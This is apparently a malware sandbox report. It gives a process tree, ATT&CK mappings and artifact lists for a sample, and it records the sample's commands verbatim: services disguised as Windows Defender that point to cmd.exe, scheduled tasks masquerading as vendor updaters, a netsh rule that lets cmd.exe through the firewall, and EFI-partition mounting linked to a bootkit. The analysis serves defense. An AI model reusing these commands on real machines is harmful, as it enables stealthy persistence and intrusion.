C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "DropboxUpdateTaskMachineCore_c90ac019" /XML "C:\Windows\SystemTemp\2d9088db-8f67-437f-8f28-0dd5d4684652.xml" /F5⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" K: /S5⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "GoogleUpdateTaskMachineCore_6741f2c9" /F5⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "GoogleUpdateTaskMachineCore_6741f2c9" /XML "C:\Windows\SystemTemp\a1370c33-7e95-428d-b50d-16d0300de6d6.xml" /F5⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" K: /D5⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" L: /S5⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" L: /D5⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" M: /S5⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" M: /D5⤵
-
-
-
C:\Windows\system32\mountvol.exe"mountvol" E: /S4⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" E: /D4⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" F: /S4⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" F: /D4⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" G: /S4⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" G: /D4⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" H: /S4⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" H: /D4⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" I: /S4⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" I: /D4⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" J: /S4⤵
-
-
C:\Windows\system32\sc.exe"sc.exe" delete "WindowsUpdaterDefenderMicrosoft"4⤵
-
-
C:\Windows\system32\sc.exe"sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Windows\cmd.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exe"sc.exe" start "WindowsUpdaterDefenderMicrosoft"4⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "NvDriverUpdateCheckDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_cd205d73" /F4⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" J: /D4⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "NvDriverUpdateCheckDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_cd205d73" /XML "C:\Windows\SystemTemp\44a36a7e-ccac-40ed-af11-87ac5b01994d.xml" /F4⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" K: /S4⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "UsbCeip_64b439d7" /F4⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "UsbCeip_64b439d7" /XML "C:\Windows\SystemTemp\b9c07e6f-3d43-444f-89d1-59c35749a2e2.xml" /F4⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" K: /D4⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" L: /S4⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "Adobe Acrobat Update Task_41e29a4f" /F4⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "Adobe Acrobat Update Task_41e29a4f" /XML "C:\Windows\SystemTemp\96e72d66-81be-4b7a-b864-4b247586e2c7.xml" /F4⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" L: /D4⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" M: /S4⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" M: /D4⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" N: /S4⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" N: /D4⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" O: /S4⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" O: /D4⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" P: /S4⤵
-
-
-
C:\Windows\system32\mountvol.exe"mountvol" E: /S3⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" E: /D3⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" F: /S3⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" F: /D3⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" G: /S3⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" G: /D3⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" H: /S3⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" H: /D3⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" I: /S3⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" I: /D3⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" J: /S3⤵
-
-
C:\Windows\system32\sc.exe"sc.exe" delete "WindowsUpdaterDefenderMicrosoft"3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exe"sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Windows\cmd.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"3⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" J: /D3⤵
-
-
C:\Windows\system32\sc.exe"sc.exe" start "WindowsUpdaterDefenderMicrosoft"3⤵
- Launches sc.exe
-
-
C:\Windows\system32\mountvol.exe"mountvol" K: /S3⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "OneDrive Standalone Update Task_2af17f7d" /F3⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "OneDrive Standalone Update Task_2af17f7d" /XML "C:\Windows\SystemTemp\dc368913-efdb-40b7-8396-3bb8b0652fa4.xml" /F3⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "ProgramDataUpdater_4a987277" /F3⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "ProgramDataUpdater_4a987277" /XML "C:\Windows\SystemTemp\e9992367-37f2-446f-9efa-3904fab3eb11.xml" /F3⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" K: /D3⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" L: /S3⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "UsbCeip_e6f15fc2" /F3⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "UsbCeip_e6f15fc2" /XML "C:\Windows\SystemTemp\218954e6-bc99-47bd-b044-4154740f177d.xml" /F3⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" L: /D3⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" M: /S3⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" M: /D3⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" N: /S3⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" N: /D3⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" O: /S3⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" O: /D3⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" P: /S3⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" P: /D3⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" Q: /S3⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" Q: /D3⤵
-
-
-
C:\Windows\system32\mountvol.exe"mountvol" E: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" E: /D2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" F: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" F: /D2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" G: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" G: /D2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" H: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" H: /D2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" I: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" I: /D2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" J: /S2⤵
-
-
C:\Windows\system32\sc.exe"sc.exe" delete "WindowsUpdaterDefenderMicrosoft"2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exe"sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Windows\Runtime Broker.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"2⤵
-
-
C:\Windows\system32\sc.exe"sc.exe" start "WindowsUpdaterDefenderMicrosoft"2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" J: /D2⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "ProgramDataUpdater_f80820d1" /F2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" K: /S2⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "ProgramDataUpdater_f80820d1" /XML "C:\Windows\SystemTemp\5f70dcab-e9c7-4e11-b766-f75bea388db4.xml" /F2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "Consolidator_f2588ce4" /F2⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "Consolidator_f2588ce4" /XML "C:\Windows\SystemTemp\4016a8a4-39b9-4b6f-8afe-ac426e855082.xml" /F2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\mountvol.exe"mountvol" K: /D2⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "StartupAppTask_8b7c2f7d" /F2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" L: /S2⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "StartupAppTask_8b7c2f7d" /XML "C:\Windows\SystemTemp\1cde724c-f647-4647-b01b-5a36262f1c4a.xml" /F2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" L: /D2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" M: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" M: /D2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" N: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" N: /D2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" O: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" O: /D2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" P: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" P: /D2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" Q: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" Q: /D2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" R: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" R: /D2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" S: /S2⤵
-
-
C:\Windows\cmd.exeC:\Windows\cmd.exe1⤵
-
C:\Windows\cmd.exe"cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\cmd.exe" enable=yes & exit2⤵
-
C:\Windows\cmd.exe"cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\cmd.exe" enable=yes & exit3⤵
-
C:\Windows\cmd.exe"cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\cmd.exe" enable=yes & exit4⤵
-
C:\Windows\cmd.exe"cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\cmd.exe" enable=yes & exit5⤵
-
C:\Windows\cmd.exe"cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\cmd.exe" enable=yes & exit6⤵
-
C:\Windows\cmd.exe"cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\cmd.exe" enable=yes & exit7⤵
-
C:\Windows\cmd.exe"cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\cmd.exe" enable=yes & exit8⤵
-
C:\Windows\cmd.exe"cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\cmd.exe" enable=yes & exit9⤵
-
-
-
C:\Windows\System32\mountvol.exe"mountvol" E: /S8⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" E: /D8⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" F: /S8⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" F: /D8⤵
-
-
-
C:\Windows\System32\mountvol.exe"mountvol" E: /S7⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" E: /D7⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" F: /S7⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" F: /D7⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" G: /S7⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" G: /D7⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" H: /S7⤵
-
-
-
C:\Windows\System32\mountvol.exe"mountvol" E: /S6⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" E: /D6⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" F: /S6⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" F: /D6⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" G: /S6⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" G: /D6⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" H: /S6⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" H: /D6⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" I: /S6⤵
-
-
C:\Windows\System32\sc.exe"sc.exe" delete "WindowsUpdaterDefenderMicrosoft"6⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" I: /D6⤵
-
-
C:\Windows\System32\sc.exe"sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Windows\cmd.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"6⤵
-
-
C:\Windows\System32\sc.exe"sc.exe" start "WindowsUpdaterDefenderMicrosoft"6⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" J: /S6⤵
-
-
C:\Windows\System32\schtasks.exe"schtasks.exe" /Delete /TN "StartupAppTask_ffe9b00a" /F6⤵
-
-
C:\Windows\System32\schtasks.exe"schtasks.exe" /Create /TN "StartupAppTask_ffe9b00a" /XML "C:\Users\Admin\AppData\Local\Temp\ef85e00d-d18f-443c-bac8-8ed076bdddc7.xml" /F6⤵
-
-
C:\Windows\System32\schtasks.exe"schtasks.exe" /Delete /TN "SystemSoundsService_99c522b2" /F6⤵
-
-
-
C:\Windows\System32\mountvol.exe"mountvol" E: /S5⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" E: /D5⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" F: /S5⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" F: /D5⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" G: /S5⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" G: /D5⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" H: /S5⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" H: /D5⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" I: /S5⤵
-
-
C:\Windows\System32\sc.exe"sc.exe" delete "WindowsUpdaterDefenderMicrosoft"5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Windows\cmd.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"5⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" I: /D5⤵
-
-
C:\Windows\System32\sc.exe"sc.exe" start "WindowsUpdaterDefenderMicrosoft"5⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" J: /S5⤵
-
-
C:\Windows\System32\schtasks.exe"schtasks.exe" /Delete /TN "Microsoft Compatibility Appraiser_f5c2eeba" /F5⤵
-
-
C:\Windows\System32\schtasks.exe"schtasks.exe" /Create /TN "Microsoft Compatibility Appraiser_f5c2eeba" /XML "C:\Users\Admin\AppData\Local\Temp\b3146dd8-21d4-4aa7-a1ac-1f35a02792db.xml" /F5⤵
-
-
C:\Windows\System32\schtasks.exe"schtasks.exe" /Delete /TN "Adobe Acrobat Update Task_b70a5bd4" /F5⤵
-
-
C:\Windows\System32\schtasks.exe"schtasks.exe" /Create /TN "Adobe Acrobat Update Task_b70a5bd4" /XML "C:\Users\Admin\AppData\Local\Temp\35243e2f-6f6a-4027-9f0d-72d04419838b.xml" /F5⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" J: /D5⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" K: /S5⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" K: /D5⤵
-
-
-
C:\Windows\System32\mountvol.exe"mountvol" E: /S4⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" E: /D4⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" F: /S4⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" F: /D4⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" G: /S4⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" G: /D4⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" H: /S4⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" H: /D4⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" I: /S4⤵
-
-
C:\Windows\System32\sc.exe"sc.exe" delete "WindowsUpdaterDefenderMicrosoft"4⤵
- Launches sc.exe
-
-
C:\Windows\System32\mountvol.exe"mountvol" I: /D4⤵
-
-
C:\Windows\System32\sc.exe"sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Windows\cmd.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"4⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" J: /S4⤵
-
-
C:\Windows\System32\sc.exe"sc.exe" start "WindowsUpdaterDefenderMicrosoft"4⤵
- Launches sc.exe
-
-
C:\Windows\System32\schtasks.exe"schtasks.exe" /Delete /TN "NvTmMon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_2268caa7" /F4⤵
-
-
C:\Windows\System32\schtasks.exe"schtasks.exe" /Create /TN "NvTmMon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_2268caa7" /XML "C:\Users\Admin\AppData\Local\Temp\1c34a4e5-fda2-4d93-93a1-7a574c12d722.xml" /F4⤵
-
-
C:\Windows\System32\schtasks.exe"schtasks.exe" /Delete /TN "DropboxUpdateTaskMachineCore_6ba1fef2" /F4⤵
-
-
C:\Windows\System32\schtasks.exe"schtasks.exe" /Create /TN "DropboxUpdateTaskMachineCore_6ba1fef2" /XML "C:\Users\Admin\AppData\Local\Temp\bec3d464-d48b-4a38-8d10-85161ec52364.xml" /F4⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" J: /D4⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" K: /S4⤵
-
-
C:\Windows\System32\schtasks.exe"schtasks.exe" /Delete /TN "Intel PTT EK Recertification_7c77ad42" /F4⤵
-
-
C:\Windows\System32\schtasks.exe"schtasks.exe" /Create /TN "Intel PTT EK Recertification_7c77ad42" /XML "C:\Users\Admin\AppData\Local\Temp\3a763fbb-12a8-48d1-b446-55a22cdf499f.xml" /F4⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" K: /D4⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" L: /S4⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" L: /D4⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" M: /S4⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" M: /D4⤵
-
-
-
C:\Windows\System32\mountvol.exe"mountvol" E: /S3⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" E: /D3⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" F: /S3⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" F: /D3⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" G: /S3⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" G: /D3⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" H: /S3⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" H: /D3⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" I: /S3⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" I: /D3⤵
-
-
C:\Windows\System32\sc.exe"sc.exe" delete "WindowsUpdaterDefenderMicrosoft"3⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" J: /S3⤵
-
-
C:\Windows\System32\sc.exe"sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Windows\cmd.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"3⤵
-
-
C:\Windows\System32\sc.exe"sc.exe" start "WindowsUpdaterDefenderMicrosoft"3⤵
-
-
C:\Windows\System32\schtasks.exe"schtasks.exe" /Delete /TN "NvDriverUpdateCheckDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_bf825e30" /F3⤵
-
-
C:\Windows\System32\schtasks.exe"schtasks.exe" /Create /TN "NvDriverUpdateCheckDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_bf825e30" /XML "C:\Users\Admin\AppData\Local\Temp\4a18c098-9e51-41bd-8bed-1e50c399868b.xml" /F3⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" J: /D3⤵
-
-
C:\Windows\System32\schtasks.exe"schtasks.exe" /Delete /TN "Microsoft Compatibility Appraiser_c3aef849" /F3⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" K: /S3⤵
-
-
C:\Windows\System32\schtasks.exe"schtasks.exe" /Create /TN "Microsoft Compatibility Appraiser_c3aef849" /XML "C:\Users\Admin\AppData\Local\Temp\30a869e7-50e8-4ba5-a3d1-a48c3d582c84.xml" /F3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\schtasks.exe"schtasks.exe" /Delete /TN "StartupAppTask_36a4f2e4" /F3⤵
-
-
C:\Windows\System32\schtasks.exe"schtasks.exe" /Create /TN "StartupAppTask_36a4f2e4" /XML "C:\Users\Admin\AppData\Local\Temp\ca652b3c-048c-4643-b3d4-463eb9ecca1f.xml" /F3⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" K: /D3⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" L: /S3⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" L: /D3⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" M: /S3⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" M: /D3⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" N: /S3⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" N: /D3⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" O: /S3⤵
-
-
-
C:\Windows\System32\mountvol.exe"mountvol" E: /S2⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" E: /D2⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" F: /S2⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" F: /D2⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" G: /S2⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" G: /D2⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" H: /S2⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" H: /D2⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" I: /S2⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" I: /D2⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" J: /S2⤵
-
-
C:\Windows\System32\sc.exe"sc.exe" delete "WindowsUpdaterDefenderMicrosoft"2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Windows\cmd.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"2⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" J: /D2⤵
-
-
C:\Windows\System32\sc.exe"sc.exe" start "WindowsUpdaterDefenderMicrosoft"2⤵
- Launches sc.exe
-
-
C:\Windows\System32\mountvol.exe"mountvol" K: /S2⤵
-
-
C:\Windows\System32\schtasks.exe"schtasks.exe" /Delete /TN "MicrosoftEdgeUpdateTaskMachineCore_9ebcfe5b" /F2⤵
-
-
C:\Windows\System32\schtasks.exe"schtasks.exe" /Create /TN "MicrosoftEdgeUpdateTaskMachineCore_9ebcfe5b" /XML "C:\Users\Admin\AppData\Local\Temp\1e127e1c-d00c-417a-a914-658b6835e8d3.xml" /F2⤵
-
-
C:\Windows\System32\schtasks.exe"schtasks.exe" /Delete /TN "SystemSoundsService_d669dc4f" /F2⤵
-
-
C:\Windows\System32\schtasks.exe"schtasks.exe" /Create /TN "SystemSoundsService_d669dc4f" /XML "C:\Users\Admin\AppData\Local\Temp\a1d4182a-4945-4a9f-a5bb-f513ad23fa11.xml" /F2⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" K: /D2⤵
-
-
C:\Windows\System32\schtasks.exe"schtasks.exe" /Delete /TN "MicrosoftEdgeUpdateTaskMachineCore_6432e2ba" /F2⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" L: /S2⤵
-
-
C:\Windows\System32\schtasks.exe"schtasks.exe" /Create /TN "MicrosoftEdgeUpdateTaskMachineCore_6432e2ba" /XML "C:\Users\Admin\AppData\Local\Temp\3fd6a055-560e-4ef7-aa48-b14c94aa5ada.xml" /F2⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" L: /D2⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" M: /S2⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" M: /D2⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" N: /S2⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" N: /D2⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" O: /S2⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" O: /D2⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" P: /S2⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" P: /D2⤵
-
-
C:\Windows\System32\mountvol.exe"mountvol" Q: /S2⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\MicrosoftEdgeCP.exe"C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\MicrosoftEdgeCP.exe"1⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftEdgeUpdate.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftEdgeUpdate.exe"1⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\SystemSettings.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\SystemSettings.exe"1⤵
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\TextInputHost.exe"C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\TextInputHost.exe"1⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\MoUsoCoreWorker.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\MoUsoCoreWorker.exe"1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Persistence
Boot or Logon Autostart Execution
1Winlogon Helper DLL
1Create or Modify System Process
7Windows Service
7Event Triggered Execution
1Netsh Helper DLL
1Pre-OS Boot
1Bootkit
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Winlogon Helper DLL
1Create or Modify System Process
7Windows Service
7Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
7Disable or Modify System Firewall
2Disable or Modify Tools
4Modify Registry
8Pre-OS Boot
1Bootkit
1Replay Monitor
Loading Replay Monitor...
Downloads
2941d00f-aaae-4426-a62e-05d0a158024c.xml
5e74a8d9-aaf4-4407-831f-c9716e559f1c.xml
89061421-c76d-41a4-a05e-ca24a171e5b7.xml
a0d4e94d3ee643ddb762bed5872f5efb.dll
dberr.txt
audiodg.exe
memory/1248-553-0x00007FFE82140000-0x00007FFE823A3000-memory.dmp
memory/1248-554-0x00007FFE80EF0000-0x00007FFE80FB7000-memory.dmp
memory/1248-555-0x00007FFE7F700000-0x00007FFE7FAA1000-memory.dmp
memory/1368-32-0x00007FFE42280000-0x00007FFE42290000-memory.dmp
memory/1508-602-0x00007FFE42280000-0x00007FFE42290000-memory.dmp
memory/1644-75-0x00007FFE42280000-0x00007FFE42290000-memory.dmp
memory/1688-108-0x00007FFE42280000-0x00007FFE42290000-memory.dmp
memory/2344-43-0x00007FFE42280000-0x00007FFE42290000-memory.dmp
